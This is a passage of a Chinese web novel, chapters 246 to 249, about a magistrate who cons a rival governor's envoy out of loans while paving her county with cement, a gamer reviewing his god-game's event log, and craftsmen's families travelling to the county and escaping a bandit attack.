这会好容易耐心排队,越是接近前方,越能察觉到那些观看之人均是被硬控了数秒,久久不能回神,她倒是想提前踮脚看,可惜被挡得严实,只能叹息着往前走,直到轮到自己。 等到和那画像对视后,万氏只觉得脑内“轰隆”一声炸开。 身后的嘈杂她再也听不到,只能死死的盯着那画像看。 ——先前她所看到的那些仿制品,虽说俊秀,但和眼前这画像相比,只能说货比货可扔! 第246章 惊喜 和万氏的呆愣相同,其余几人也完全是一副被震撼在原地的表情。 虽说有些心理准备,但当和这画像对上视线的那瞬间,万氏还是觉得自己大脑空白一片。 青色袍角飞舞,神态飘逸非凡,那双慢慢闭着的眼睛虽不曾睁开,但却冥冥中能感受到一股悲天悯人之态。 此刻所有对于美的形容词都不足以描述眼前所看到画像的震撼之意,每个词语都太过于片面单薄,且更何况万氏本身就没怎么读过书,只能任由那画像的最后一抹颜色消失在视线范围内。 身后的人已经跟了上来,再次占据了她先前站立的那处,万氏回头,想再看一眼,却被熙熙攘攘的人群挤开,后退了几步。 直到彻底看不到那画像。 等到后退到人群后,万氏脑内还在被那副画像占据了心神,这会魂不守舍的,就连身旁的同事拉了拉她都没反应过来。 这会倒是有人哀嚎。 “哎——早知道不来看了,如今看了宋画师的画作,又如何能买别人画的东西呢?” 这倒是实话啊,毕竟由奢入俭难啊。 其余几人纷纷点头附和。 万氏也是心里难受,但谁都知道那宋画师的画作价格颇为昂贵,绝非是她们随便就能买到的。 即便再遗憾,只能开口安慰:“咱们先买一个别家的,等日后手里宽裕了看能不能买下那宋画师的,毕竟咱们这次前来,主要不是为了买小像么。 咱们所求的是成为仙师信徒,所以无论是小像还是雕塑,都是一种载体。 日后咱们心里想着今日看到的仙人模样便是,倒也不在乎是不是用的宋画师的画作跪拜了。” 这话甚是有道理,虽说几人自然难以忘怀刚才的震撼,但确实如同所说,她们一时半会哪能买得起那画作? 索性几人蹲下来开始挑挑拣拣。 而万氏也加入其中。 她不自觉要将眼前之物和刚才看到的画作对比。 这个姿态太僵硬了 这个眼神不太好,有点凶 这个还不错,虽说整体精密度和那画作差远了,但神态远看之下还有几分相似。 看了看价格还算合理,万氏买下了这幅小像,打算贴在家里日日跪拜。 与此同时,明州信使甘林再次受陈京行之命,过来送五万两银子。 甘林心中有些谨慎,毕竟加上这五万两,这一共可是在风仙县扔下去十万两了。 这些钱若是拿去养军,都能养出一个重骑团来! 这会人到了城门口,倒是不敢再像是第一次那样摆架子,乖乖任由风仙县的官兵将他引入进去。 今日一进风仙县,甘林便察觉到了不对劲。 这会看了看自己车马下的路,顿时有些惊诧。 ——等等,上次来的时候还是砖石路,如今竟然成了三合路? 甘林认不出水泥路来,只是凭借车马行走在上面的感觉猜测这为三合路。 等在驰道上走了一会,一路上,甘林更是看得瞪大双眼。 不是?这怎么感觉一路走来都修建三合路了? 这么大手笔? 要知道三合路铺设起来很是费劲,消耗颇高啊! 没想到这风仙县的县令居然这么胡来!别说一县城,就算是首都,修建三合路也只有部分路段,哪至于像风仙县这般高调,大有将全县都铺设成三合路的趋势? 甘林蹙眉,心想这女子做一县之主是要不得,这些修路的钱放在哪里不好,比如练个兵什么的,非要来修这没什么卵用的路。 毕竟对于甘林来看,这修路属于细水长流的好处,且这风仙县就敢这般断定日后他们他们还能守住这里? 若是守不住,这路岂不是为他人做嫁衣? 此刻心中不免冷哼。 实力弱小不着急提升实力,反而是修建这些有的没的,等回去后他便将这消息禀告陈总督,如此一来,对方的警戒等级便可以往下延顺一些了。 当然,这心思归心思,面上甘林可不敢有任何不满表露出来。 等到见到方知意时,他忙将这五万两银子呈递上来。 而后又说了许多恭维话,前后大概就一个意思,让风仙县拿钱办事。 既然打心底就没想过要做这件事,方知意自然是一口应下,神色多有动容,先是恭维了陈京行几句,而后又开始铺垫一番慢慢道:“不知甘使者可发现我们风仙县有何变化了么?” 甘林笑着回应,飙演技开始拍马屁。 “自然是看到了!方大人修路简直是千秋万代的政绩啊!” 方知意笑了。 “甘使者觉得这修路一事如何?” 甘林心里默默点了个不赞同,但此刻也不敢说啊,用毕生演技开始演。 “这自然极好,日后想来无论是经商,亦或是书信送达,这效率定是飞速提升!且方大人敢于全程铺设三合路,这等魄力可不是谁都有的。” 方知意应下后,又故作忧愁叹息。 “唉,还是甘使者了解我,这修路自然是能福泽百姓的好事,既然要做,就要做得最好,这便是我方某人的行事标准。 只是我倒是没想到,这铺设三合路竟然是颇为消耗银两啊” 此刻甘林越听越琢磨出不对劲了。 不是,等等,你丫是又想过来要钱了吧?!!! 这会既已敏锐察觉到了这位的真实意图,甘林心里咯噔一下,试图开口紧急避险。 “方大人,修路自然是福泽百姓的好事,只是三合路若是全县铺设的话,恐怕会影响百姓日常交通,毕竟这从铺设到干透就得十天左右了。 且最近到了芒种时分,这暴雨一阵接着一阵,想要彻底干透,恐怕要更是费劲。 到时候恐怕路还要被雨水泡坏,这岂不是浪费方大人一番好心?” 方知意做出恍然大悟的表情。 “甘使者说得甚有道理。” 甘林嘴上恭维应付,实际上早擦了擦额头冷汗。 ——别再搞事了,他还想活着回去啊!若是这次回去他还要带着要钱的消息,他估计会被自家陈总督砍死吧??? 不过眼看自己劝住了方知意,甘林稍微放松几秒,便听到方知意身旁的一小官员捧着文书半跪着开口。 “方大人,容下官禀告一则消息。” 不知为何,甘林觉得自己的心砰砰直跳,似乎有什么坏事立马要发生了,这会只能看那小吏嘴巴上下开合说着什么。 在得了方知意的同意后,小吏慢慢开口,神色严肃:“虽说近日雨水多,但下官听闻如今材料钱降了许多,正是适合大量购入的时候啊! 县内库房尚有余地,正合适将这些材料放入库房内。 若是此刻采买,定是要比日后采买便宜一半。 既方大人日后还要继续铺设道路,何不趁现在购入材料?” 方知意做出一副惊讶模样,装作纠结,而后慢慢计算。 “这便宜一半可不是小数目啊,甘使者觉得呢?” 甘林:???不是,你想买你自己花钱买啊!还有,你风仙县的事,你这问我一个外来人啥意思啊! 此刻甘林已经隐约觉得事情宛如脱缰野马再也控制不住,还没等他想到用什么劝阻方知意时,便便听方知意无奈开口:“甘使者,你也看到了,这如今不买,日后涨价,这不是变相亏钱嘛!只是我县内如今确实不曾有这么多银钱,还望陈总督能再借我一些,等到秋收后,财税收上来后便悉数偿还。 当然,我也不是那等无理之人,也知晓你们的担忧。只是如今箭在弦上不得不发。 这次借钱事出紧急,我愿以三成利再借五万两,如何?这样想来甘使者回去也好交差。” 上次的十万两借贷利率为一成五,属于正常商业借贷,按道理借款越多利率也越高,只是陈京行到底有求于风仙县,不好将利率设定太高,岂不是初始便让盟友不满? 这才选了一成五的利。 而这三成利则是标准的高利贷了,且还要比普通的还要更多一些。 听闻方知意愿意以三成利借贷时,甘林倒是惊诧瞬间,而后倒也明白了这做法。 材料便宜买入,一进一出,倒确实还是省钱了,怪不得这方县令着急借贷。 既对方愿意以三成利借贷,甘林也觉得回去后还算有脸面见陈总督,这会虽说表情还带着僵硬,但比一开始还是要好一些的。 本来方知意还要再留甘林一晚,对方忙称有事带着队伍返回。 等到人都走了,方知意这才静坐在台上。 于此同时,姜定的屏幕前弹跳出一则提醒。 【检测到您铺设水泥路进程为80%请继续加油吧!】 本还在忙碌于在自己山头看工人种田,查询仓库库存的姜定顿时一愣。 这瞬间感觉自己有点不认识字了。 等等,这都哪跟哪啊!水泥他怎么记得他压根没点这科技点啊! 一时半会想查询,无从下手,倒是游戏贴心的来了提醒。 【是否要选择开启使用查询过往记录功能?(需花费30000两。)】 姜定:该死的游戏策划不当人啊,这狗屁功能怎么这么贵啊! 银两他记得自己上次查看时,也就五万两,还是他辛辛苦苦运营了许久才得到的。 这会一想到解锁这功能居然要花费这么多钱后,一时半会那个痛心疾首。 但姜定的求知欲让他很想知道到底发生了什么,这会犹豫片刻,还是忍痛决定拿下。 下定决心后,等到眼睛瞟到右上角的银两时,倒是先被那一长串0震惊到了。 ——不儿,等等,这么多钱哪来的?啊?他到底是哪一步没跟上,这怎么一眨眼就这么多钱了? 第247章 自由度 姜定看着余额陷入沉默。 原先还在犹豫的手,此刻立马点了同意。 如今他已经可以富裕到可以直接花3万两都不用心痛的程度了,钱可真腐蚀人的美好品德啊。 比如精打细算这一点上 刚感慨完,等看那查询过往记录功能打开后,姜定立马兴致冲冲点开就要去查,毕竟他一是好奇那水泥是什么时候的事,二是好奇这笔钱到底是哪来的,毕竟他是个老实人,老实人花不属于自己赚来的钱实在是有些心神难安啊。 查询水泥比查大笔资金好查。 他很快搜索关键词水泥,然后看那上面记录着: 【风仙县新历5月17日,方知意察觉到风仙县道路情况堪忧,于是连夜翻查集闻楼后查出了水泥的配方,建立水泥厂,铺设水泥路。】 姜定缓缓打出一个? 不是,这紫卡人物这么强的么? 他还没点科技点啊,对方居然能自行参考如今状态,然后开始决定铺路,还替他决定建了生产线啊? 姜定有些迷糊,在看到紫卡人物下面写着的“自主成长性极高”后,又逐渐放松下来。 也很正常,毕竟对于游戏来说,这任务相当于一个高级程序而已,他能想到修路,而这高级程序在网上看了更多的种田基建攻略,自然也会做出相同的考量。 且姜定估计是因为他金额足够,再加上发展运行良好,不然应该不会触发紫卡人物自行铺路的操作。 很快,姜定就说服了自己,这会又着重于去看这一笔钱哪来的。 这查起来稍微费劲一些,搜索关键词“万银两”后,姜定一条条往前查询。 皇天不负苦心人啊,终于让他在查了有十分钟后看到了这银两来源。 上面记录写着的是: 【李归一受风仙县县令委托,和幽州坎城城主互通往来,用青霉素换取白银50万两,马匹,丝绸不等。】 这倒是写明白了这笔钱哪来的,虽说马匹和别的东西没写太清楚,但那些对于姜定来说都不重要。 他琢磨一会,很快便想通了。 想来是原先他点了青霉素科技点,之后这幽州坎城爆发瘟疫,然后紫卡人物检测到他点了青霉素科技点,于是很自然便用这些青霉素换取银两和物资。 这倒还在姜定的预测中。 除了此来源外,姜定还查到了两笔五万两的交易,往上一翻,记录得竟然很是有趣。 【明州陈京行因畏惧风仙县,派出信使甘林携礼物前来谈和,希望风仙县站队。你的管理人方知意替您做了选择。 选择明面站队,实则坑蒙拐骗银两。】 【明州陈京行旗下信使甘林携5万两作为第一笔借贷资金后被撵回去再次索要5万两。】 【甘林带了5万两,希望风仙县按照先前所说做出投诚一事,方知意表面答应,实则并未执行,反而在考虑要再坑一笔。】 别说,这花3万两买这个查询过往记录功能是真的不亏,至少它能让他搞清楚之前到底发生了什么,毕竟有时候游戏自由度太高也不是个好事,毕竟他玩到最后自己都不知道自己的进程到底是在哪? 最重要的是,这记录将人物心态都写了出来,诙谐幽默,倒是让这游戏里面的人物硬生生多了几分真实感,就连姜定一时半会都看得入迷了。 除了这以外,姜定还随即翻了翻别的记录,其中就算是对于小人物的内心记录,也让姜定看得眼眶泛红。 ——该咋说呢,难道是他也是普通人,所以对这些小人物的内心记录认同感更强? 这一个个小人物们各有各的考量,却不得不被这世道推着走,但在他旗下工作后,展露的心态真是让姜定哭笑不得。 大概就是唯他马首是瞻。 姜定心里骂了一会游戏策划真狗,知道用这些小人物来让人同情了。 而且换个角度来看,他其实只是玩了个游戏,但里面的小人物们会随时发表记录心情,给他捧得都快觉得自己是救世主了。 这自然让姜定赞赏欲暴涨。 他搜罗一圈,打算找找怎么给游戏开发者投个赞什么的,或者打赏一下,结果绕了一圈,没找到打赏渠道。???不是,这么有钱啊,连打赏渠道都不开通? 他难得被游戏感动到了,居然还没法花钱支持一下? 不死心,又查了一圈,发现居然还真没有,这会姜定无奈歇了心思。 算了,有可能是这游戏开发者压根就不差钱或者是纯粹的情怀党,看来他只能在通关后给这游戏一个好评了。 再次返回游戏内,姜定看了看此游戏的势力分布,发现大概就分为明州陈京行,黎州小皇帝,幽州虞家,景旭宫。 其中结盟关系为: 明州陈京行(伪交好),黎州小皇帝(伪交好),幽州虞家(中立),景旭宫(敌对) 好好好,打眼一看都是对手啊,完全没有盟友呢! 姜定吐槽,姜定镇定思痛,姜定觉得这就是游戏引导他走向统一的重要提示。 管你敌不敌对,到时候都给你们收了! 为了提升日后战斗力,姜定开始控制着主控勤勤恳恳点亮各处的传送点,别的不说,他开传送了,到时候总不能想支援时还要在地图上慢慢悠悠飞吧?那多慢啊! 和姜定近日忙着点亮传送点不同,风仙县各家各户忙着进行最后的铺路工作。 此刻已到了比赛接近尾声之际,众人都是如期完成了自家门前的铺路。 等到第二日,果然便有官府的人上门挨个记录,开始筛选。 评选花费了三日,总算评出了前三名。 第一名的是段萱,如今段化为官府工作,研制火铳和震天雷,最近在方大人的引导下,段化和仇离二人加快了这方面的研究,且力图做出效果更强,更小巧的火铳。 而段化则是说到做到,将自己的存款全都拿了出来,在给妹妹修整了一番房间后,剩余的钱全部租了个门店,开设了铺子,让段萱管理铺子。 因在仙师旗下,段化总算是能正常售卖他做出来的小玩意们。 当然,能够坦坦荡荡售卖出来的自然是经过官府查看后,确定不会落入敌人手中成为对方的武器的存在。 比如像是那望远镜就不能售卖,段化做出来的几乎全被官府收购买走了。 如今这铺子更像个新奇物件铺子,比如只有钥匙才能打开的手札,可供少年少女们记录不愿意被人查看的心事,还有由此物引申而来的锁和钥匙,以及别的改良工具,包括雕塑工具,或者别的小玩意。 均是段化闲来无事时发明出来的东西。 段萱将这些东西全部整理好,分类售卖,也是因为如今风仙县日子过得好了,以往这些东西在如今世道可是卖不出价的,如今倒是因为风仙县足够平稳,竟然卖得还不错。 且段化在找回来妹妹后,更有心思发明研究东西了,甚至他观察得更仔细,会改良各行各业他觉得需要改进的东西,比如吃个早点都能改良一番笼屉的设计,这些东西很是有用,一般改良出来后,均会被相关掌柜们赶过来买走。 有段化提供唯一货源,再辅以段萱的经营手段,很快铺子生意倒是红火,甚至她还额外开设了定制服务。 比如觉得需要修改某处,但却找不到到底该修改哪里时,便可以过来下单咨询。 不过咨询和段化亲自改造的价格自然不一样。 因段化能力突出,解决了不少客户的难点痛点,这定制服务俨然成了铺子一大收入来源了。 而话说回到这铺路上,因哥哥太忙,段萱是自己慢慢铺好的。 虽说慢,但是她脑内想法多,靠着过往积累下来的审美设计出了一条独特的门前风景,将自家门前打扮得甚是美观。 一下便和众人拉开了距离。 因段化本就不算什么大户人家,所以这次评选,段家自然也能参加。 不出意料,获得了第一名。 而第二名的话,是一个多年的手艺人,据说此人原先曾给大户人家做庭院布置,审美虽说老套一些,但不可否认是美观的。 而第三名,居然是万惠。 起初得到这消息时,万惠都觉得不可思议。 在他看来,他只不过是稍作改进,但如何又能够在这些多人家中脱颖而出? 毕竟他也知道民间有很多不可小觑的老手艺人,虽说他也是做精致活计的,但他起初还真没想到自己能拿到奖。 ——虽说和第一名,第二名差了钱,但好歹也三十两啊!还给别的东西! 万惠好奇得紧,后来才听说这评奖除了看设计,还看本身对于水泥的铺设是否平整光滑,且不许故意为了装饰浪费。 这三点规划下来,倒是让万惠捡了漏。 毕竟他将水泥涂抹得很是光滑,且将砖石和水泥互相应用,实用美观都考虑到了,多余的水泥也被砌了个种花的地方,看上去自然是多了几分质朴的美。 很快,这三十两银子就发放到了万惠手中,他拿到银两时,温热的银两被裹在钱袋子里,被妥善放在他手心。 而至于第三等奖还有的五类产物,分别是风仙县产出的布料,糖,酒水,豆腐干,以及一盏沼气灯。 布料给得很大一块,万氏很是兴奋,且家中刚好需要再购买一盏沼气灯,她原本想着过几日再买,谁能想到竟然是得了奖白给了一盏灯。 至于这洁白如雪的白糖,给了得有五斤,虽说风仙县白糖要比外面便宜一大半,且质量还好,但因总体产量依旧受限,价格只能说平价,还远远达不到盐那样低廉的价格。 酒水,给了一大坛子,万氏给丈夫倒了点出来喝,剩下的用红布包好,埋在了院子的那棵树下,打算给女儿日后成亲存着,毕竟这酒水不好买,且刚才丈夫喝了一口,连连说这酒是不可多得好物。 这好东西再经过时间沉淀,想来滋味会更浓郁。 第248章 转移 黎州元城。 吴匠人眼看那万氏离开了元城,起初还觉得是万惠遭遇了某种不测,那万氏想来应当是带着孩子过去一并照顾万惠去了。 但当过了几日,吴匠人便敏锐的发觉,先前一起去的那些匠人里,竟然有不少人已经陆陆续续也开始售卖家中值钱物品,看着像是要跑路。 这点发现让吴匠人很是疑惑。 ——难不成是一整个项目受损,这些人都和万惠一样,需要家人前去照顾? 但很快他便察觉到不对劲。 倒不是因为别的,而是因为人一多,总有人会露出马脚。 只见那从当铺出来的人看着面色不但不悲痛,反而像是颇有几分自得,这便很让吴匠人看不懂了。 等他进入那典当行一看,发现此人竟然典当了家中的棉被和棉衣等物。 别的暂且不说,单论一般人不可能会随意典当棉被棉衣,毕竟棉花产量低,且价格昂贵,可不是普通人随随便便就能买得起的。谁家的棉被棉衣不是好好存着,毕竟这可是全家人过冬的希望啊! 比如吴匠人,他家的棉被棉衣虽说已经旧了,但无奈多年都没有新棉花上市了,且新棉花被对于他来说也很贵,只能说忍忍,用旧的过冬算了。 昨日他妻子还说今年看能不能少买一些稍微新点的棉花塞进去,毕竟棉被里的棉花已经开始板结不暖和了。 如今看到竟然有人会主动将过冬必要的东西典当掉,这便只有两种可能,要么是家里遇到急事了,要么便是这些人打算离开元城,又带不走这棉被,且到了目的地后有更好的选择,这才会果断选择将不好的棉被棉衣典当点银两。 吴匠人想相信第一种解释,但先前那人的笑脸还在他眼前不停地闪过,这让他很是烦躁。 再多打听几日,吴匠人更觉得不对劲了。 因这前去典当的并非这一户人家。 元城一共没几家典当行,都坐落在一条街道上,于是吴匠人守着很容易便能分辨出出入典当行的人。 除了正常典当的人外,剩余的便是先前那些匠人的家属们,且这些人或多或少都会带着不少大件物品过来典当,且各个还是死当,除了意义特殊的为活当。 最要命的是,吴匠人又再次从这些人脸庞上看到了和先前一样的那抹兴奋。 他有些憋气,不是,这到底都在兴奋高兴什么?难不成真的如同他所想,这些人要去的风仙县比元城要好? 怀疑的种子一旦埋下,吴匠人的嫉妒之心熊熊燃烧,又是万分后悔。 莫非,还真和这些人所说,那地确实日收一百文? 先前他觉得就算是有这么高的薪资,想来也没几天活可干,但眼看如今越来越多的人打算前往那风仙县,他心中逐渐不安 莫非那日薪一百文的工作还能继续干?不然解释不了这些人都要去风仙县啊! 一连跟踪这些人好几日,吴匠人打听了更让他震惊的消息。 这消息还是他意外听一小儿说出来的,这小孩嘴上没个把门的,想来家中管不好,这会在家门口叫喊着什么他要吃那日吃到的泰丰楼点心。 泰丰楼点心铺子是元城老字号点心铺子,价格昂贵,不是他们这样的普通人家能吃得起的,其中最便宜的糕点也得百文一斤了。 这小孩被打了一顿哭诉:“娘,反正爹一天的工钱都够给我买好几斤了,你让我敞开吃一回嘛!” 吴匠人心中微微琢磨,这话何意?莫非是小孩不懂银两? 这孩子话刚说完就被一娘子拖了进去,挨了两个巴掌。 虽然此娘子声音很低,但吴匠人精通于偷听,倒是听得清楚。 “你要死啊,谁让你在大街上说这些!你个混账东西,你看我今天收不收拾你!” 很快院子里传来小孩撕心裂肺的尖叫声,扫帚破风的声音,还有打在皮肉上的声响。 那小孩哭得吴匠人心烦意乱,比起这哭声,他更在意的是那话。 泰丰楼最便宜的糕点百文一斤,若按照这孩子说法,岂不是他们这些人在风仙县赚的并非是一百文一日,而是几百文一日? 吴匠人眼前一黑,深觉自己无法接受这个事。 转念又一想,很快否决了自己的猜测。 ——太离谱了,这日薪好几百文,他做梦都不敢做啊!实在是难以想象什么工作能日薪几百文? 自从这件事发生后,吴匠人总觉得心里像是扎了一根刺,猜测几乎要将他压垮,而他也越来越关注这些人。 看他们是否花销相对于以前来说更为松快。 而风仙县。 万惠的妻子万氏跟着过来早就被他的工友所知晓,毕竟都是一个地方的。 在听到如今万氏竟然也有了正经工作,每日也能赚个一百五十文,且万家两个孩子,就连那个小女娃都被送进学堂读书,一时间,还在犹豫要不要让家里人过来的众人顿时犯嘀咕。 “万惠那小子真有魄力啊,咱们还在犹豫,人家已经带着老婆孩子过来定居了。” “这风仙县好是好,但日后不清楚朝廷会不会对这里动手啊,毕竟你看这风仙县,到底有哪点和朝廷有相似之处?我等这样没读过书的人都知道风仙县好,朝廷若是知晓风仙县这般,又如何能任由风仙县作乱?定会派兵攻打。” “话虽如此,但风仙县有仙人坐镇,何故担心这么多?” “仙人也是咱们从戏曲和说书人嘴里听来的,又如何做得了真?反正我不敢把家人带过来,不若先看看情况再说。” 这是一部分保守派的想法,当然也有大胆的。 “反正我要写信让家里人过来,虽说是这个道理,但看那万惠活得这般痛快,我实在羡慕。 且要我说,像咱们这样的草民,只有来到这风仙县才算是痛快活了一回,对于我的妻子孩子家人来说,未尝不是如此?与其在元城苟延残喘,不如在这风仙县痛快过上一次!” “我也是这个想法,别的地方何曾把我等当做人看待过?原先不过是最下贱的,被千人踩万人踏的,来到这里,我才晓得人还能有这个活法。我都这般想了,我家娘子受了那么多苦,她肯定比我更想痛快过一次。” 有人动容,这会吸了吸鼻涕,擦了擦眼泪。 当然有骑墙派的,觉得两方说法各有道理,想让家人痛快来这风仙县,却又害怕此举会害死家人,一时间犹豫不决。 在短期争论后,大胆派的人很快便凑在一起商量对策。 “先前我打听过了,那万惠妻子是搭了个便车,这才顺利来到了风仙县,这两地相距甚远,若是没有镖局或者商队的帮助,咱们家人定是很难过来,而那元城的镖局不曾有前往风仙县的,定价肯定很是高昂,依我看,若是咱们确定了要将家人弄过来,不如在风仙县找好镖局的人,凑些钱,将家人尽快接过来才是。” 这话倒是很有理,毕竟谁都知道这路程遥远,不是单独上路就能顺利过来的。 一个人肯定担不起负担,但人多了,凑一凑说不定还真能凑够银两。 “先打听一下价格,然后咱们提前写信回去,让家里人准备一下,将具体日子告诉他们,到了时间便出发,你们觉得呢?” 好歹这些匠人里也是有有魄力的人存在,这话一出,很得众人同意。 原先一些骑墙派是在考虑家人如何过来的问题,如今看有机会,忙凑过来加入,众人倒也欢迎,毕竟这决策做起来是费劲,谁也别看不起谁。 等到打听好那镖局往复费用后,这近一百人每人大概拿出二两银子作为镖费。 按照往常其实一百两就够了,但如今世道艰辛,外面很是危险,相应的镖局费用涨了快一半,不过镖局倒是解释清楚了。 “放心,既拿了钱,我等自然会痛快将人接回来,且会安排好些的马车。” 听到这话,众人稍稍放心,毕竟他们来的时候坐的马车可是难熬,这会又听镖局道:“这日子定了,还请各位提前说好等待的地址。因马车多一些,进城太引人注目,我们会在城外等着,这一段路很是安全,附近也有我们的人盯梢。” 这解释很是合理,众人都没有意见。 等到信件返回元城家人手中时,他们的家人自然听从吩咐,将值钱的卖点钱,必要的东西拿上,就等着日子到了坐着对方的马车去风仙县。 镖局临出发前,倒是先去了官府报备,然后购入一些符咒,毕竟他们镖局也不希望最后人没回来,省得赔钱。 且这符咒价格并不贵,只是购买需要凭证,也限额度,只能在官府购买。 什么——你说私底下?私底下一来是没人会做符咒,二来就算有符咒来源,在没过了明路的情况下,这符咒如同废纸,毫无作用。 所以大大小小的镖局自然是选择乖乖走明路报备。 这一消息自报备后自然呈递到了方知意眼前,看到这些匠人竟然联合花钱将家人弄过来时,方知意难免脸庞带笑。 还得是先前杜百一行人将那万氏捎过来,若不是有这等活例子摆在眼前,这些匠人又如何会动摇得这般快? 不过目前还未曾和朝廷翻脸,此举自然要低调一些。 人口嘛,自然是越多越好。 等到报备成功,买到了符咒后,镖局很快出发前往目的地。 在他们前进好今日到达元城附近后,便静静等着约定时间的到来。 而这些匠人的家人们也在暗中慢慢计算着日子。 家中一切都已经安顿好,是时候该走了。 第249章 阴差阳错 元城。 因原先就定了出城的日子,原先那些匠人的家人们各个将东西打包好,而后便分批次出城。 虽说如今出城人数少,但总归才两百多人,还是分开走的,和往常区别不大,守城的官兵并未察觉到不对劲,毕竟城内没什么工作,如今不少人都需要去附近的村落山林里看看有没有什么地方能弄点吃的喝的,所以众人倒是很顺利出了城。 一旦出了城,这些人便迅速直奔当初约定好的地点。 与此同时,吴匠人因日日监督着这群人,所以在对方跑路时,他倒是很快就察觉到了。 这会跟着众人一路小跑,直到到了那城门口。 眼看这些人挨个出城,他没犹豫,忙跟着出了城,一路跟踪便看到不远处的林子里有好几辆马车,这马车看着挺大的,能装不少人。 先前那些人正是挨个上了马车,吴匠人打眼一看,都是拖家带口的,将一家人全都带了过去。 这马车看着像是改造后的,异常结实,再仔细一些的他看不清楚,这会正想着凑近点看看,便有人拍了拍他的后背。 吴匠人吓得转身,便看到一身材高壮的汉子,这打扮应该是某镖局的。 还不等他说话,此人便一脸怀疑道:“你是何人,为何鬼鬼祟祟?” 吴匠人心里咯噔一下,心想自己可不能被抓住了,这会忙开口解释:“我也是别的匠人家属,先前听他们说要坐马车离开,我家那个还没下定决心,让我先跟着看看情况。” 得说吴匠人很懂说谎,他最近一直在关注这些匠人们,倒是将其内情况猜了个大概,听他这么说,这人明显放松神情,只是脸庞依旧严肃。 “看到了就回吧,下次劝劝你家人,让他也赶紧把你们都接过去。” 这话说完后,此人便转身离去,临走前那眼神看得吴匠人一阵震颤,忙匆匆转身小跑着离开。 而镖局的人在点完人数后,确认人都上来后,这才驾马迅速带人离开这片区域。 话说这些匠人家属大部分还是头一次出城,甚至有人还是头一次坐马车。 只是这马车颇为奇怪,它和过往他们所坐,所见到的马车不同,按原先的话,一个马车能坐十人便是极限,如今这马车加了一辆马拉人,顶部加高,坐了二层马车,上面还能坐人。 说实话倒是不挤,总比原先元城官府运送匠人们时,直接将人塞进马车内来得舒服许多。 且这马车内还有窗户可以透气,天气虽然燥热,但窗户打开,风往里面吹过的话,会带走车厢内的怪味,倒也还算可以忍受,因先前众匠人早就给家人写信,让他们除了带着银钱和干粮外,别的东西都不用多带,这些人听了进去,基本上都没再带什么大件,车厢里这才还算得上宽敞。 毕竟能有这魄力出来的,也不是什么蠢货。 马车便这样走走停停,基本上保持在一个很快的速度前进。 中间除了必要的解决生理需求外,大都是连夜赶路,吃饭全都是靠着吃干粮,不曾落地烧火做饭——实在是没有那些闲工夫! 其实许多人活这么大岁数还不曾离开过元城,如今头一次出门,新奇过后便是担忧害怕,毕竟谁还没听到过几个流寇杀人的版本? 一路上提心吊胆,各个默默祈祷千万别遇到什么流寇才是。 要说这运气实在是不太好。 走了有两天,到了黎州和明州的分界线时,一行人竟然遭到了一伙流寇袭击。 当时众人还在马车上打开干粮袋,吃着干粮,便听从远及近传来一阵马蹄声,有耳朵灵敏的人立即变了脸色,这会探出头去看,便看到了让他心惊胆寒的画面——那远处有一伙数量不小的流寇正拎着刀,骑马跑来,看样子是彻底把他们这伙人当成了目标了! 流寇一来,众人自然是惊惧万分,此刻坐在车内颤颤发抖,马车速度加快,似乎是想甩开身后的追兵,但载人的速度肯定不及身后的追兵,反而距离被逐渐拉近,车内众人就这样无助地看着越来越近的流寇们,随着距离逐渐接近,他们甚至能看到对方脸上狰狞的表情,额头上紧绷的青筋,嗅到扑面而来的血腥味。 不少人心生绝望,这会怕得直抖,也有人鼓起勇气,拿出小刀对着身后的人投掷出去,倒是还真惹得那流寇“哎呦”一声跌落马匹,摔了下去。 还有人则是将目光转向前面的马夫,急得差点就要开口问到底该怎么办时,便看到这马夫的表情让他们有些看不透了。 那表情不是害怕,也不是故作冷静,而是一种带着欣喜的坦然。 这发现让原先还想开口的人想说的话噎在喉咙里,满脑袋疑惑。 不是,兄弟,你搁这高兴个什么劲啊,咱们命都不知道能不能留下来啊! 负责驾马的自然不是普通马夫,而是镖局的人。 他们并非是头一次接下来往黎州的第一单,作为一个经常往返黎州,为两方输送装修人才和工具的镖局,他们早就对这情况脱敏了。 原先一开始遇袭过一次,起初还有些慌乱,但在符咒的加持下,对方很快就被击杀,他们不仅仅毫发无伤,且还将对面的马匹全部缴获,当初可是白得了好几匹马匹,虽说马匹不算健硕,但再怎么说那也是马匹,也算是他们镖局的意外收获了。 不过也不知道是该说运道好还是不好,从那次被流寇袭击后,他们之后往返数次,竟然是再也不曾遇到过流寇,这让他们很是气馁。 ——少了一个赚外快的途径啊,谁能高兴起来! 后来一打听知道了,原来是因为他们第一次就被别的流寇给看到了,这口口相传,自然让不少流寇对他们敬而远之,所以便没了这等好事。 这让镖局很是惋惜。 如今这次活计,他们原先没想着能遇到流寇的,但或许是因为马车特殊的缘故,或者是因为这些流寇是新来的,不曾得到过消息,倒还真敢过来冒犯。 镖局立即兴奋,而后打算将对方引导过来,然后一举击败。 眼看到了该动手的时刻,镖局的人互相打了个眼色,众人停下马车下马迎战,手中的符咒瞬间飞了出去。 而马车内的众人则是因为突然的停车而被惯性弄得往前直冲,反应过来后便是脸色煞白。 ——这不会是被逼停了吧?完蛋,看来这必须要实打实打斗了! 车内不少健壮的青年男子则是拿着武器,准备时刻下马支援,毕竟若是镖局的人都死光了,他们也距离死亡不远了,这个时候就该团结起来才是。 本是这样想的,但在看到那炸开在流寇身上的火光和刀剑时,就连最淡定的老者也被震撼得出声。 “那到底是何物?怎会凭空出现火焰和刀剑?” 众人看得清楚,那镖局的人投掷出去一个什么东西,然后瞬间,对方便惨叫着跌落下马。 再加上镖局的人本身都是有武术在身上,此刻竟然很迅速的便结束了战斗。 等到镖局的人牵着新得来的几匹马过来时,马车内的众人还在沉默。 不是,这就结束了? 他们想象中的激烈打斗完全没出现啊!全程他们只有心脏七上八下,别的还没等动弹呢,对方就轻飘飘的过来告诉他们可以继续前进了。 马车继续前进,但空气中浓厚的血腥味告诉众人刚才的一切并非幻觉,而是真实存在的。 众人陷入沉思,又看了看镖局,欲言又止,也有好奇的过去问了几句便被敷衍回来,这会只能坐在马车里互相琢磨。 ——莫非是仙人? 先前家人写信中曾时不时会提及到那风仙县有一仙人,可庇护百姓,当初他们总觉得可能是当地的特色信仰,今日看到此番场景,一时半会都被震撼在原地,心中对于仙人的说法自然接受了好几分。 连带着原先的那点不安都消散了,这会竟然前所未有的踏实 车子还在继续,但被震惊的众人此刻满脑子想的是快些到风仙县,他们也想去膜拜一番那位仙人,好亲自目睹仙人尊荣,好好跪拜一番才是。 